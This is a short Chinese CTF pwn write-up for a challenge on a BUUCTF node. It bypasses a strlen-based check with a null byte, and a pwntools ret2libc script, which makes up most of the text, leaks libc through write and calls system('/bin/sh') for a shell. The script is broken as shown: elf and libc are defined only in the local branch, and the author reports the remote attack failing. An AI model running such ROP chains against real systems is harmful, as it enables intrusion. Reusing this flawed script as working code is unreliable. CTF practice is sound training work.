这题就是需要绕过两个验证,之后就是常规rop了。
这里有个比较,你输入的值与一个随机数进行比较,这个验证不过会直接推出程序。那我们就让他取一个极值,让他无论是何值都能过。因为strlen这个函数遇到’\0’就会截止。所以我们就输入‘\x00’就好了。这样不论随机数是什么我们都会取<0。
这个地方的取值是之前那个函数的返回值,利用之前那个输入的地方把v5盖成一个很大的值以便之后做栈溢出的rop。
exp
:
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator', '-x' , 'sh' , '-c']
local = 0
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF("./libc-2.23.so")
else:
p = remote("node3.buuoj.cn",28060)
s = lambda a: p.send(str(a))
sa = lambda a, b: p.sendafter(str(a), str(b))
st = lambda a, b: p.sendthen(str(a), str(b))
sl = lambda a: p.sendline(str(a))
sla = lambda a, b: p.sendlineafter(str(a), str(b))
slt = lambda a, b: p.sendlinethen(str(a), str(b))
r = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(str(a))
irt = lambda: p.interactive()
write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825
pay = "\x00" + "\xff"*7
sl(pay)
ru("Correct\n")
pay2 = "a"*0xE7 + p32(0) + p32(write_plt) + p32(main)
pay2 += p32(1) + p32(write_got) + p32(4)
sl(pay2)
libcbase = u32(p.recv(4)) - libc.symbols['write']
log.success("libcbase: 0x%x" % libcbase)
bin_sh = libc.search('/bin/sh').next() + libcbase
sys_addr = libcbase + libc.symbols['system']
log.success("sys_addr : 0x%x" % sys_addr)
log.success("bin_sh : 0x%x" % bin_sh)
sl(pay)
ru('Correct\n')
pay3 = "a"*0xe7 + p32(0)
pay3 += p32(sys_addr) + "aaaa" + p32(bin_sh)
sl(pay3)
p.interactive()
不知道为啥打远程打不通,,,
这是报错…哪个路过的大佬可以说一下哪里出问题了吗< - _ - >